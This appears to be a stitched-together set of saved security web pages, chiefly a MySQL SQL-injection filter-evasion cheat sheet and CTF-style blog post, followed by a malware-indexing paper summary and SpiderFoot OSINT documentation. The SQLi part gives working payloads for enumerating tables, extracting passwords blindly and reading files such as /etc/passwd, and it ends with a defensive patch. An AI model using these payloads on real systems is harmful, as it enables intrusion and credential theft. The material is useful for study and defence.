‘ABC’ = concat\(conv\(10,10,36\),conv\(11,10,36\),conv\(12,10,36\)\)

**Strings extracted from gadgets**  
collation\(\N\) // binary  
collation\(user\(\)\) // utf8\_general\_ci  
@@time\_format // %H:%i:%s  
@@binlog\_format // MIXED  
@@version\_comment // MySQL Community Server \(GPL\)  
dayname\(from\_days\(401\)\) // Monday  
dayname\(from\_days\(403\)\) // Wednesday  
monthname\(from\_days\(690\)\) // November  
monthname\(from\_unixtime\(1\)\) // January  
collation\(convert\(\(1\)using/\*\*/koi8r\)\) // koi8r\_general\_ci  
\(select\(collation\_name\)from\(information\_schema.collations\)where\(id\)=2\)
// latin2\_czech\_cs

**Special characters extracted from gadgets**  
aes\_encrypt\(1,12\) // 4çh±\{?”^c×HéÉEa  
des\_encrypt\(1,2\) // ‚GÒ/ïÖk  
@@ft\_boolean\_syntax // + -><\(\)~\*:""&|  
@@date\_format // %Y-%m-%d  
@@innodb\_log\_group\_home\_dir // .\

**Integer representations**  
false: 0  
true: 1  
true+true: 2  
floor\(pi\(\)\): 3  
ceil\(pi\(\)\): 4  
floor\(version\(\)\): 5  
ceil\(version\(\)\): 6  
ceil\(pi\(\)+pi\(\)\): 7  
floor\(version\(\)+pi\(\)\): 8  
floor\(pi\(\)\*pi\(\)\): 9  
ceil\(pi\(\)\*pi\(\)\): 10  
concat\(true,true\): 11  
ceil\(pi\(\)\*pi\(\)\)+true: 11  
ceil\(pi\(\)+pi\(\)+version\(\)\): 12  
floor\(pi\(\)\*pi\(\)+pi\(\)\): 13  
ceil\(pi\(\)\*pi\(\)+pi\(\)\): 14  
ceil\(pi\(\)\*pi\(\)+version\(\)\): 15  
floor\(pi\(\)\*version\(\)\): 16  
ceil\(pi\(\)\*version\(\)\): 17  
ceil\(pi\(\)\*version\(\)\)+true: 18  
floor\(\(pi\(\)+pi\(\)\)\*pi\(\)\): 19  
ceil\(\(pi\(\)+pi\(\)\)\*pi\(\)\): 20  
ceil\(ceil\(pi\(\)\)\*version\(\)\): 21  
concat\(true+true,true\): 21  
ceil\(pi\(\)\*ceil\(pi\(\)+pi\(\)\)\): 22  
ceil\(\(pi\(\)+ceil\(pi\(\)\)\)\*pi\(\)\): 23  
ceil\(pi\(\)\)\*ceil\(version\(\)\): 24  
floor\(pi\(\)\*\(version\(\)+pi\(\)\)\): 25  
floor\(version\(\)\*version\(\)\): 26  
ceil\(version\(\)\*version\(\)\): 27  
ceil\(pi\(\)\*pi\(\)\*pi\(\)-pi\(\)\): 28  
floor\(pi\(\)\*pi\(\)\*floor\(pi\(\)\)\): 29  
ceil\(pi\(\)\*pi\(\)\*floor\(pi\(\)\)\): 30  
concat\(floor\(pi\(\)\),false\): 30  
floor\(pi\(\)\*pi\(\)\*pi\(\)\): 31  
ceil\(pi\(\)\*pi\(\)\*pi\(\)\): 32  
ceil\(pi\(\)\*pi\(\)\*pi\(\)\)+true: 33  
ceil\(pow\(pi\(\),pi\(\)\)-pi\(\)\): 34  
ceil\(pi\(\)\*pi\(\)\*pi\(\)+pi\(\)\): 35  
floor\(pow\(pi\(\),pi\(\)\)\): 36

@@new: 0  
@@log\_bin: 1

\!pi\(\): 0  
\!\!pi\(\): 1  
true-~true: 3  
log\(-cos\(pi\(\)\)\): 0  
-cos\(pi\(\)\): 1  
coercibility\(user\(\)\): 3  
coercibility\(now\(\)\): 4

minute\(now\(\)\)  
hour\(now\(\)\)  
day\(now\(\)\)  
week\(now\(\)\)  
month\(now\(\)\)  
year\(now\(\)\)  
quarter\(now\(\)\)  
year\(@@timestamp\)  
crc32\(true\)

**Extract substrings**  
substr\(‘abc’,1,1\) = ‘a’  
substr\(‘abc’ from 1 for 1\) = ‘a’  
substring\(‘abc’,1,1\) = ‘a’  
substring\(‘abc’ from 1 for 1\) = ‘a’  
mid\(‘abc’,1,1\) = ‘a’  
mid\(‘abc’ from 1 for 1\) = ‘a’  
lpad\(‘abc’,1,space\(1\)\) = ‘a’  
rpad\(‘abc’,1,space\(1\)\) = ‘a’  
left\(‘abc’,1\) = ‘a’  
reverse\(right\(reverse\(‘abc’\),1\)\) = ‘a’  
insert\(insert\(‘abc’,1,0,space\(0\)\),2,222,space\(0\)\) = ‘a’  
space\(0\) = trim\(version\(\)from\(version\(\)\)\)

**Search substrings**  
locate\(‘a’,'abc’\)  
position\(‘a’,'abc’\)  
position\(‘a’ IN ‘abc’\)  
instr\(‘abc’,'a’\)  
substring\_index\(‘ab’,'b’,1\)

**Cut substrings**  
length\(trim\(leading ‘a’ FROM ‘abc’\)\)  
length\(replace\(‘abc’, ‘a’, ”\)\)

**Compare strings**  
strcmp\(‘a’,'a’\)  
mod\(‘a’,'a’\)  
find\_in\_set\(‘a’,'a’\)  
field\(‘a’,'a’\)  
count\(concat\(‘a’,'a’\)\)

**String length**  
length\(\)  
bit\_length\(\)  
char\_length\(\)  
octet\_length\(\)  
bit\_count\(\)

**String case**  
ucase  
lcase  
lower  
upper  
password\(‘a’\) \!= password\(‘A’\)  
old\_password\(‘a’\) \!= old\_password\(‘A’\)  
md5\(‘a’\) \!= md5\(‘A’\)  
sha\(‘a’\) \!= sha\(‘A’\)  
aes\_encrypt\(‘a’\) \!= aes\_encrypt\(‘A’\)  
des\_encrypt\(‘a’\) \!= des\_encrypt\(‘A’\)

## Keyword filter

**Connected keyword filtering**  
\(0\)union\(select\(table\_name\),column\_name,…  
0/\*\*/union/\*\!50000select\*/table\_name\`foo\`/\*\*/…  
0%a0union%a0select%09group\_concat\(table\_name\)….  
0′union all select all\`table\_name\`foo from\`information\_schema\`.
\`tables\`

**OR, AND**  
‘||1=’1  
‘&&1=’1  
‘=’  
‘-’

**OR, AND, UNION**  
‘ and \(select pass from users limit 1\)=’secret

**OR, AND, UNION, LIMIT**  
‘ and \(select pass from users where id =1\)=’a

**OR, AND, UNION, LIMIT, WHERE**  
‘ and \(select pass from users group by id having id = 1\)=’a

**OR, AND, UNION, LIMIT, WHERE, GROUP**  
‘ and length\(\(select pass from users having substr\(pass,1,1\)=’a'\)\)

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING**  
‘ and \(select substr\(group\_concat\(pass\),1,1\) from users\)=’a  
‘ and substr\(\(select max\(pass\) from users\),1,1\)=’a  
‘ and substr\(\(select max\(replace\(pass,’lastpw’,”\)\) from users\),1,1\)=’a

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT**  
‘ and
substr\(load\_file\(‘file’\),locate\(‘DocumentRoot’,\(load\_file\(‘file’\)\)\)+length\(‘DocumentRoot’\),10\)=’a  
‘=” into outfile ‘/var/www/dump.txt

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE**  
‘ procedure analyse\(\)\#  
‘-if\(name=’Admin’,1,0\)\#  
‘-if\(if\(name=’Admin’,1,0\),if\(substr\(pass,1,1\)=’a',1,0\),0\)\#

**Control flow**  
case ‘a’ when ‘a’ then 1 \[else 0\] end  
case when ‘a’='a’ then 1 \[else 0\] end  
if\(‘a’='a’,1,0\)  
ifnull\(nullif\(‘a’,'a’\),1\)

If you have any other useful tricks I forgot to list here please leave a
comment.

<img src='img/Temp2_7181.gif' /> 18 Comments | <img src='img/Temp2_7182.gif' /> SQLi, Web Security | Tagged: SQL filter bypass, SQL filter evasion, SQL obfuscation | <img src='img/Temp2_7184.gif' /> Permalink   
<img src='img/Temp2_7183.gif' /> Posted by Reiners

* * *
## Exploiting hard filtered SQL Injections

March 19, 2010  

While participating at some CTF challenges like Codegate10 or OWASPEU10
recently I noticed that it is extremely trendy to build SQL injection
challenges with very tough filters which can be circumvented based on the
flexible MySQL syntax. In this post I will show some example filters and how
to exploit them which may also be interesting when exploiting real life SQL
injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

`01`| `<?php`  
---|---  
`02`| `// DB connection`  
---|---  
`03`|  
---|---  
`04`| `$id` `= ``$_GET``[``'id'``];`  
---|---  
`05`| `$pass` `= mysql_real_escape_string(``$_GET``[``'pass'``]);`  
---|---  
`06`|  
---|---  
`07`| `$result` `= mysql_query(``"SELECT id,name,pass FROM users WHERE id =
$id AND pass = '$pass' "``);`  
---|---  
`08`|  
---|---  
`09`| `if``(``$data` `= @mysql_fetch_array(``$result``))`  
---|---  
`10`| ` ``echo` `"Welcome ${data['name']}"``;`  
---|---  
`11`| `?>`  
---|---  
Note: the webapplication displays only the name of the first row of the sql
resultset.

**Warmup**

Lets warm up. As you can see the parameter “id” is vulnerable to SQL
Injection. The first thing you might want to do is to confirm the existence of
a SQLi vulnerability:

`1`| `?id=1 and 1=0-- -`  
---|---  
`1`| `?id=1 and 1=1-- -`  
---|---  
You also might want to see all usernames by iterating through limit \(x\):

`1`| `?id=1 or 1=1 LIMIT x,1-- -`  
---|---  
But usernames are mostly not as interesting as passwords and we assume that
there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the
following:

`1`| `?id=1 and 1=0 union select null,table_name,null from
information_schema.tables limit 28,1-- -`  
---|---  
`1`| `?id=1 and 1=0 union select null,column_name,null from
information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -`  
---|---  
After you have found interesting tables and its column names you can start to
extract data.

`1`| `?id=1 and 1=0 union select null,password,null from users limit 1,1-- -`  
---|---  
Ok thats enough for warming up.

**Whitespaces, quotes and slashes filtered**

Of course things aren’t that easy most time. Now consider the following filter
for some extra characters:

`1`| `if``(preg_match(``'/\s/'``, ``$id``))`  
---|---  
`2`| ` ``exit``(``'attack'``); ``// no whitespaces`  
---|---  
`3`| `if``(preg_match(``'/[\'"]/'``, ``$id``))`  
---|---  
`4`| ` ``exit``(``'attack'``); ``// no quotes`  
---|---  
`5`| `if``(preg_match(``'/[\/\\\\]/'``, ``$id``))`  
---|---  
`6`| ` ``exit``(``'attack'``); ``// no slashes`  
---|---  
As you can see above our injections have a lot of spaces and some quotes. The
first idea would be to replace the spaces by _/\*comments\*/_ but slashes are
filtered. Alternative whitespaces are all catched by the whitespace filter.
But luckily because of the flexible MySQL syntax we can avoid all whitespaces
by using parenthesis to seperate SQL keywords \(old but not seen very often\).

`1`|
`?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit
28,1-- -)`  
---|---  
Looks good, but still has some spaces at the end. So we also use
_group\_concat\(\)_ because _LIMIT_ requires a space and therefore can’t be
used anymore. Since all table names in one string can be very long, we can use
_substr\(\)_ or _mid\(\)_ to limit the size of the returning string. As SQL
comment we simply take “\#” \(not urlencoded for better readability\).

`1`|
`?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#`  
---|---  
Instead of a quoted string we can use the SQL hex representation of the found
table name:

`1`|
`?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#`  
---|---  
Nice.

**Basic keywords filtered**

Now consider the filter additionally checks for the keywords “and”, “null”,
“where” and “limit”:

`1`| `if``(preg_match(``'/\s/'``, ``$id``))`  
---|---  
`2`| ` ``exit``(``'attack'``); ``// no whitespaces`  
---|---  
`3`| `if``(preg_match(``'/[\'"]/'``, ``$id``))`  
---|---  
`4`| ` ``exit``(``'attack'``); ``// no quotes`  
---|---  
`5`| `if``(preg_match(``'/[\/\\\\]/'``, ``$id``))`  
---|---  
`6`| ` ``exit``(``'attack'``); ``// no slashes`  
---|---  
`7`| `if``(preg_match(``'/(and|null|where|limit)/i'``, ``$id``))`  
---|---  
`8`| ` ``exit``(``'attack'``); ``// no sqli keywords`  
---|---  
For some keywords this is still not a big problem. Something most of you would
do from the beginning anyway is to confirm the SQLi with the following
injections leading to the same result:

`1`| `?id=1#`  
---|---  
`1`| `?id=2-1#`  
---|---  
To negotiate the previous resultset you can also use a non-existent id like
_0_. Instead of the place holder “null” we can select anything else of course
because it is only a place holder for the correct column amount. So without
the _WHERE_ we have:

`1`|
`?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#`  
---|---  
`1`|
`?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#`  
---|---  
This _should_ give us all table and column names. But the output string from
_group\_concat\(\)_ gets very long for all available table and column names
\(including the columns of the mysql system tables\) and the length returned
by group\_concat\(\) is limited to 1024 by default. While the length may fit
for all table names \(total system table names length is about 900\), it
definitely does not fit for all available column names because all system
column names concatenated already take more than 6000 chars.

**WHERE alternative**

The first idea would be to use _ORDER BY column\_name DESC_ to get the user
tables first but that doesn’t work because _ORDER BY_ needs a space. Another
keyword we have left is _HAVING_.  
First we have a look which databases are available:

`1`|
`?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#`  
---|---  
This will definitely fit into 1024 chars, but you can also use database\(\) to
get the current database name:

`1`| `?id=(0)union(select(0),database(),(0))#`  
---|---  
Lets assume your database name is “test” which hex representation is
“0×74657374″. Then we can use _HAVING_ to get all table names associated with
the database “test” without using _WHERE_ :

`1`|
`?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#`  
---|---  
Note that you have to select the column “table\_schema” in one of the place
holders to use this column in _HAVING_. Since we assume that the webapp is
designed to return only the first row of the result set, this will give us the
first table name. The second table name can be retrieved by simply excluding
the first found table name from the result:

`1`|
`?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#`  
---|---  
We use _& &_ as alternative for the filtered keyword _AND_ \(no urlencoding
for better readability\). Keep excluding table names until you have them all.
Then you can go on with exactly the same technique to get all column names:

`1`|
`?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#`  
---|---  
`1`|
`?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#`  
---|---  
Unfortunately you can’t use _group\_concat\(\)_ while using _HAVING_ hence the
excluding step by step.

**intermediate result**

What do we need for our injections so far?  
keywords: “union”, “select”, “from”,”having”  
characters: \(\),.\_\# \(& or “and”\)  
String comparing characters like “=” and “\!=” can be avoided by using the
keywords “like” and “rlike” or the function strcmp\(\) together with the
keyword “not”:

`1`|
`?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#`  
---|---  
**advanced keyword filtering**

Now its getting difficult. The filter also checks for all keywords previously
needed:

`01`| `if``(preg_match(``'/\s/'``, ``$id``))`  
---|---  
`02`| ` ``exit``(``'attack'``); ``// no whitespaces`  
---|---  
`03`| `if``(preg_match(``'/[\'"]/'``, ``$id``))`  
---|---  
`04`| ` ``exit``(``'attack'``); ``// no quotes`  
---|---  
`05`| `if``(preg_match(``'/[\/\\\\]/'``, ``$id``))`  
---|---  
`06`| ` ``exit``(``'attack'``); ``// no slashes`  
---|---  
`07`| `if``(preg_match(``'/(and|or|null|where|limit)/i'``, ``$id``))`  
---|---  
`08`| ` ``exit``(``'attack'``); ``// no sqli keywords`  
---|---  
`09`| `if``(preg_match(``'/(union|select|from|having)/i'``, ``$id``))`  
---|---  
`10`| ` ``exit``(``'attack'``); ``// no sqli keywords`  
---|---  
What option do we have left?

If we have the FILE privilege we can use load\_file\(\) \(btw you can’t use
into outfile without quotes and spaces\). But we can’t output the result of
_load\_file\(\)_ because we can not use _union select_ so we need another way
to read the string returned by the _load\_file\(\)_.  
First we want to check if the file can be read. _load\_file\(\)_ returns
“null” if the file could not be read, but since the keyword “null” is filtered
we cant compare to “null” or use functions like _isnull\(\)_. A simple
solution is to use coalesce\(\) which returns the first not-null value in the
list:

`1`| `?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))`  
---|---  
This will return the length of the file content or – if the file could not be
read – a “1″ and therefore the success can be seen by the userdata selected in
the original query. Now we can use the CASE operator to read the file content
blindly char by char:

`1`|
`?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)`  
---|---  
\(while $char is the character in sql hex which is compared to the current
character of the file at offset $x\)

We bypassed the filter but it requires the FILE privilege.

**filtering everything**

Ok now we expand the filter again and it will check for file operations too
\(or just assume you don’t have the FILE privilege\). We also filter SQL
comments. So lets assume the following \(rearranged\) filter:

`01`| `if``(preg_match(``'/\s/'``, ``$id``))`  
---|---  
`02`| ` ``exit``(``'attack'``); ``// no whitespaces`  
---|---  
`03`| `if``(preg_match(``'/[\'"]/'``, ``$id``))`  
---|---  
`04`| ` ``exit``(``'attack'``); ``// no quotes`  
---|---  
`05`| `if``(preg_match(``'/[\/\\\\]/'``, ``$id``))`  
---|---  
`06`| ` ``exit``(``'attack'``); ``// no slashes`  
---|---  
`07`| `if``(preg_match(``'/(and|or|null|not)/i'``, ``$id``))`  
---|---  
`08`| ` ``exit``(``'attack'``); ``// no sqli boolean keywords`  
---|---  
`09`| `if``(preg_match(``'/(union|select|from|where)/i'``, ``$id``))`  
---|---  
`10`| ` ``exit``(``'attack'``); ``// no sqli select keywords`  
---|---  
`11`| `if``(preg_match(``'/(group|order|having|limit)/i'``, ``$id``))`  
---|---  
`12`| ` ``exit``(``'attack'``); ``// no sqli select keywords`  
---|---  
`13`| `if``(preg_match(``'/(into|file|case)/i'``, ``$id``))`  
---|---  
`14`| ` ``exit``(``'attack'``); ``// no sqli operators`  
---|---  
`15`| `if``(preg_match(``'/(--|#|\/\*)/'``, ``$id``))`  
---|---  
`16`| ` ``exit``(``'attack'``); ``// no sqli comments`  
---|---  
The SQL injection is still there but it may look unexploitable. Take a breath
and have a look at the filter. Do we have anything left?

We cant use procedure analyse\(\) because it needs a space and we cant use the
’1′%’0′ trick. Basically we only have special characters left, but that is
often all we need.

We need to keep in mind that we are already in a _SELECT_ statement and we can
add some conditions to the existing _WHERE_ clause. The only problem with that
is that we can only access columns that are already selected and that we do
have to know their names. In our login example they shouldn’t be hard to guess
though. Often they are named the same as the parameter names \(as in our
example\) and in most cases the password column is one of \{password, passwd,
pass, pw, userpass\}.  
So how do we access them blindly? A usual blind SQLi would look like the
following:

`1`| `?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)`  
---|---  
This will return _1_ to the id if the first char of the password is ‘a’.
Otherwise it will return a _0_ to the _WHERE_ clause. This works without
another _SELECT_ because we dont need to access a different table. Now the
trick is to express this filtered _CASE_ operation with only boolean
operators. While _AND_ and _OR_ is filtered, we can use the characters _& &_
and _||_ to check, if the first character of the pass is ‘a’:

`1`| `?id=1&&mid(pass,1,1)=(0x61);%00`  
---|---  
We use a nullbyte instead of a filtered comment to ignore the check for the
right password in the original sql query. Make sure you prepend a semicolon.
Nice, we can now iterate through the password chars and extract them one by
one by comparing them to its hex representation. If it matches, it will show
the username for id=1 and if not the whole _WHERE_ becomes untrue and nothing
is displayed. Also we can iterate to every password of each user by simply
iterating through all ids:

`1`| `?id=2&&mid(pass,1,1)=(0x61);%00`  
---|---  
`1`| `?id=3&&mid(pass,1,1)=(0x61);%00`  
---|---  
Of course this takes some time and mostly you are only interested in one
specific password, for example of the user “admin” but you dont know his id.
Basically we want something like:

`1`| `?id=(SELECT id FROM users WHERE name = 'admin') &&
mid(pass,1,1)=('a');%00`  
---|---  
The first attempt could be:

`1`| `?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00`  
---|---  
That does not work because the “OR 1=1″ at the beginning is stronger than the
“AND”s so that we will always see the name of the first entry in the table
\(it gets more clearly wenn you write the “OR 1=1″ at the end of the
injection\). So what we do is we compare the column id to the column id itself
to make our check for the name and password independent of all id’s:

`1`| `?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00`  
---|---  
If the character of the password is guessed correctly we will see “Hello
admin” – otherwise there is displayed nothing. With this we have successfully
bypassed the tough filter.

**filtering everything and even more**

What else can we filter to make it more challenging? Sure, some characters
like “=”, “|” and “&”.

`01`| `if``(preg_match(``'/\s/'``, ``$id``))`  
---|---  
`02`| ` ``exit``(``'attack'``); ``// no whitespaces`  
---|---  
`03`| `if``(preg_match(``'/[\'"]/'``, ``$id``))`  
---|---  
`04`| ` ``exit``(``'attack'``); ``// no quotes`  
---|---  
`05`| `if``(preg_match(``'/[\/\\\\]/'``, ``$id``))`  
---|---  
`06`| ` ``exit``(``'attack'``); ``// no slashes`  
---|---  
`07`| `if``(preg_match(``'/(and|or|null|not)/i'``, ``$id``))`  
---|---  
`08`| ` ``exit``(``'attack'``); ``// no sqli boolean keywords`  
---|---  
`09`| `if``(preg_match(``'/(union|select|from|where)/i'``, ``$id``))`  
---|---  
`10`| ` ``exit``(``'attack'``); ``// no sqli select keywords`  
---|---  
`11`| `if``(preg_match(``'/(group|order|having|limit)/i'``, ``$id``))`  
---|---  
`12`| ` ``exit``(``'attack'``); ``// no sqli select keywords`  
---|---  
`13`| `if``(preg_match(``'/(into|file|case)/i'``, ``$id``))`  
---|---  
`14`| ` ``exit``(``'attack'``); ``// no sqli operators`  
---|---  
`15`| `if``(preg_match(``'/(--|#|\/\*)/'``, ``$id``))`  
---|---  
`16`| ` ``exit``(``'attack'``); ``// no sqli comments`  
---|---  
`17`| `if``(preg_match(``'/(=|&|\|)/'``, ``$id``))`  
---|---  
`18`| ` ``exit``(``'attack'``); ``// no boolean operators`  
---|---  
Lets see. The character “=” shouldn’t be problematic as already mentioned
above, we simply use “like” or “regexp” etc.:

`1`| `?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00`  
---|---  
The character “|” isn’t even needed. But what about the “&”? Can we check for
the name=’admin’ **and** for the password characters without using logical
operators?

After exploring all sorts of functions and comparison operators I finally
found the simple function if\(\). It basically works like the CASE structure
but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first
attempt is to jump to the id which correspondents to the name = ‘admin’:

`1`| `?id=if((name)like(0x61646D696E),1,0);%00`  
---|---  
This will return 1, if the username is admin and 0 otherwise. Now that we
actually want to work with the admin’s id we return his id instead of 1:

`1`| `?id=if((name)like(0x61646D696E),id,0);%00`  
---|---  
Now the tricky part is to not use _AND_ or _& &_ but to also check for the
password chars. So what we do is we nest the _if_ clauses. Here is the
commented injection:

`1`| `?id=`  
---|---  
`2`| `if(`  
---|---  
`3`| ` ``// if (it gets true if the name='admin')`  
---|---  
`4`| ` ``if((name)like(0x61646D696E),1,0),`  
---|---  
`5`| ` ``// then (if first password char='a' return admin id, else 0)`  
---|---  
`6`| ` ``if(mid((password),1,1)like(0x61),id,0),`  
---|---  
`7`| ` ``// else (return 0)`  
---|---  
`8`| ` ``0`  
---|---  
`9`| `);%00`  
---|---  
Injection in one line:

`1`|
`?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00`  
---|---  
Again you will see “Hello admin” if the password character was guessed
correctly and otherwise you’ll see nothing \(id=0\). Sweet\!

**Conclusion**

\(My\)SQL isn’t as flexible as Javascript, thats for sure. The main difference
is that you can’t obfuscate keywords because there is nothing like _eval\(\)_
\(as long as you don’t inject into stored procedures\). But as shown in this
article there isn’t much more needed than some characters \(mainly parenthesis
and commas\) to not only get a working injection but also to extract data or
read files. Various techniques also have shown that detecting and blocking SQL
injections based on keywords is not reliable and that exploiting those is just
a matter of time.

If you have any other clever ways for bypassing the filters described above
please leave a comment. What about additionally filtering “if” too ?

**Edit:**  
Because there has been some confusion: you should NOT use the last filter for
securing your webapp. This post shows why it is bad to rely on a blacklist. To
secure your webapp properly, typecast expected integer values and escape
expected strings with mysql\_real\_escape\_string\(\), but don’t forget to
embed the result in quotes in your SQL query.

Here is a safe patch for the example:

`1`| `$id` `= (int) ``$_GET``[``'id'``];`  
---|---  
`2`| `$pass` `= mysql_real_escape_string(``$_GET``[``'pass'``]);`  
---|---  
`3`| `$result` `= mysql_query(``"SELECT id,name,pass FROM users WHERE id = $id
AND pass = '$pass' "``);`  
---|---  
For more details have a look at the comments.

More:  
Part2, Part 3, SQLi filter evasion cheatsheet

# Black Hat ® Technical Security Conference: Europe 2010 // Archives

**Created:**| _4/15/2010 10:00:25 AM_  
---|---  
**Updated:**| _4/15/2010 10:00:31 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# BLACK HAT EUROPE 2010 //MEDIA ARCHIVES

# An interesting paper on flowgraph classification « Silviocesare’s Weblog

**Created:**| _11/17/2009 11:32:42 AM_  
---|---  
**Updated:**| _11/17/2009 11:32:58 AM_  
**Author:**| __  
**Tags:**| _papers_  
  

## An interesting paper on flowgraph classification

#### November 17, 2009 · Leave a Comment

I thought I would write a small summary on an interesting paper that appeared
at ACM CCS.http://www.ecsl.cs.sunysb.edu/tr/TR246.pdf is a link to the paper
‘Large-Scale Malware Indexing Using Function-Call Graphs’ which originates
from Symantec.

Essentially the system identifies variants of malware similar to
http://www.vxclass.com. It looks at the call graphs of particular programs and
identifies the similarity to known call graphs of malware. If the similarity
is high, then a malware variant has been identified. Identifying call graph
similarity was introduced in
http://www.f-secure.com/weblog/archives/carrera\_erdelyi\_VB2004.pdf. Call
graph similarity is found by identifying common nodes in the graph. These
nodes can be identified as having identical control flow graphs, or having the
same crc32 over the function represented by the node, and any other ways you
can think of. The Symantec paper identifies that similarity is a function of
the graph edit distance. The edit distance is the number of operations that
must be performed to convert one thing to another. Incidentally, there are
related edit distances such as tree edit distances, string edit distances and
lots of variations depending on what type of operations are allowed. In fact,
my paper to be published in January uses one of the edit distances I just
mentioned. It’s a useful concept.

Vxclass builds graph similarity by the use of a greedy node matching
algorithm. It actually tries to find unique nodes first so the greedy
heuristic isn’t a problem. But presumably it falls back to the greedy solution
once unique solutions are exhausted. The Symantec paper tries to find a
minimum cost matching using a bipartite graph matching algorithm based on the
Hungarian algorithm. This is novel.

The other novel feature with the Symantec paper is the use of metric trees to
speed up searching the call graph database. A metric space
\(http://en.wikipedia.org/wiki/Metric\_space\) is defined by a distance
function between two particular points or objects . The distance function must
have certain conditions that are true, such as d\(x,y\) == d\(y,x\) and
d\(x,x\) == 0. Also the triangle inequality \(
http://en.wikipedia.org/wiki/Triangle\_inequality\) must hold which is
_d_\(_x_ ,  _z_\) ≤  _d_\(_x_ ,  _y_\) +_d_\(_y_ ,  _z_\). If these conditions
are true for all objects or points, then that’s great, because performing
spatial searches on the data can take advantage of these properties and
perform much faster. A metric tree takes advantage of the properties of a
metric space and can perform spatial queries identifying similar or nearest
neighbours of a point in that space faster than comparing each point or
element in the space.

The graph edit distance forms a metric space. The Symantec paper uses vantage
point trees \(http://en.wikipedia.org/wiki/VP-tree\) but there are other trees
such as BK Trees which perform well also. I seem to recall reading that vp
trees are most suited for when the distance function is a real number. BK
Trees only work on integer distances. I don’t know why Symantec chose vp trees
over bk trees – maybe someone else can answer? Perhaps there is no significant
difference.

The novelty of the Symantec paper is using metric trees to speed up the
similarity search.

The final novel contribution in the Symantec paper is an ordering each malware
by specific features such as the number of instructions the malware has. The
database is arranged in a b+tree and vp tree structures are kept at the nodes.
Then when indexing a malware, they can cull out all malware that is not
reasonably close to the features of the input binary, before searching each vp
tree in the b+tree buckets. This is a pretty simple optimisation which I think
can be improved upon than what was demonstrated in the paper. But Symantec
still did a good job in what they did.

This is a nice paper overall that improves malware indexing state of the art.
It’s not a revolutionary paper really, but each area has contributions that
improve what has previously been investigated. The time it takes to classify a
sample is interesting – about 100 seconds for a database size of 100k malware.
They want to have it scale up to a million malware.

* * *
**Possibly related posts: \(automatically generated\)**

  * Minimum Spanning Trees: Prim’s Algorithm
  * Personal Territory \(part 4\)
  * Solution to POW-4: A curious identity involving self-powers

# Unmanned Aerial Vehicles

**Created:**| _2/6/2010 11:34:43 PM_  
---|---  
**Updated:**| _2/6/2010 11:35:16 PM_  
**Author:**| __  
**Tags:**| _bookmark conference-material Metasploit automation_  
  
<img src='img/Temp2_8730' />

# SpiderFoot Documentation

**Created:**| _5/26/2015 3:56:57 PM_  
---|---  
**Updated:**| _5/26/2015 3:56:57 PM_  
**Author:**| __  
**Tags:**| _OSINT_  
  

# SpiderFoot Documentation

## About

SpiderFoot is an open source intelligence automation tool. Its goal is to
automate the process of gathering intelligence about a given target, which may
be an IP address, domain name, hostname or network subnet.

SpiderFoot can be used offensively, i.e. as part of a black-box penetration
test to gather information about the target or defensively to identify what
information your organisation is freely providing for attackers to use against
you.

## Pre-Requisites

### Linux/BSD/Solaris

SpiderFoot is written in Python \(2.7\), so to run on
Linux/Solaris/FreeBSD/etc. you need Python 2.7 installed, in addition to the
lxml, netaddr, M2Crypto, CherryPy and Mako modules.

To install the dependencies using PIP, run the following:

[code]

    ~$ pip install lxml netaddr M2Crypto cherrypy mako
    
[/code]

Other modules such as MetaPDF, SOCKS and more are included in the SpiderFoot
package, so you don’t need to install them separately.

### Windows

SpiderFoot for Windows is a compiled executable file, and so all dependencies
are packaged with it.

No third party tools/libraries need to be installed, not even Python.

Up to table of contents

## Installing

Installing SpiderFoot is literally as simple as unpacking the distribution
tar.gz/zip file.

### Linux/BSD/Solaris

To install SpiderFoot on Linux/Solaris/FreeBSD/etc. you only need to un-targz
the package, as follows:

[code]

    ~$ tar zxvf spiderfoot-X.X.X-src.tar.gz
    ~$ cd spiderfoot-X.X.X
    ~/spiderfoot-X.X.X$
    
[/code]

### Windows

Unzip the distribution ZIP file to a folder of your choice… yep that’s it.

Up to table of contents

## Starting SpiderFoot

### Linux/BSD/Solaris

To run SpiderFoot, simply execute `sf.py` from the directory you extracted
SpiderFoot into:

`~/spiderfoot-X.X.X$ python ./sf`

Once executed, a web-server will be started, which by default will listen on
127.0.0.1:5001. You can then use the web-browser of your choice by browsing to
http://127.0.0.1:5001.

If you wish to make SpiderFoot accessible from another system, for example
running it on a server and controlling it remotely, then you can specify an
external IP for SpiderFoot to bind to, or use 0.0.0.0 so that it binds to all
addresses, including 127.0.0.1:

`~/spiderfoot-X.X.X$ python ./sf 0.0.0.0:5001`

